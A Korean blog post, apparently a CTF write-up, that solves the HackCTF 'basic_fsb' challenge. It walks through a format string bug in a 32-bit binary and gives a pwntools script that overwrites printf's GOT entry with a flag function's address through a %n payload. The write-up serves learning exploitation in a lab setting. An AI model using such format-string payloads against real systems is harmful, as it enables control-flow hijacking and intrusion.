728x90
check
- 32bit
- 딱히 보호기법이 적용되어 있지는 않다.
Analyze
pseudo code
- fgets 함수를 통해 문자열 s에 표준입력으로 1024byte만큼 입력받고, s에 저장된 값을 0x400byte만큼 format에 저장한다. 그리고 printf에 format을 통째로 집어넣으면서 FSB가 발생한다.
- format의 주소를 찾아야겠다!
- format에서 발생하는 FSB를 이용해 printf의 got 주소를 flag의 주소로 덮는다.
- flag 함수의 주소는 0x80485b4 = 134514100
실행
입력한 데이터가 첫번째 포맷스트링x부터 차례로 쓰여지는 것을 확인할 수 있다.
Exploit
printf@got 주소 4byte의 영향을 받기 때문에 flag 함수의 주소에서 4byte를 뺀 값을 전달해야 제대로 flag 함수로 overwrite할 수 있게된다.
from pwn import *
#p = process("./basic_fsb")
p = remote("ctf.j0n9hyun.xyz", 3002)
elf = ELF("./basic_fsb")
#printf_got = elf.got['printf']
printf_got = 0x804a00c
pl = p32(printf_got)
pl += "%134514096c%n"
p.recvuntil("input : ")
p.sendline(pl)
p.interactive()
+) %1$n 으로하면 EOF를 만난다고 하며 플래그를 구할 수 없었다
SMALL
'System > PWNABLE' 카테고리의 다른 글
[HackCTF] Yes or No (0) | 2021.02.11 |
---|---|
[HackCTF] BOF_PIE (0) | 2021.02.10 |
[HackCTF] Simple_Overflow_ver_2 (0) | 2021.02.09 |
[HackCTF] x64 Simple_size_BOF (0) | 2021.02.09 |
[HackCTF] x64 Buffer Overflow (2) | 2021.02.05 |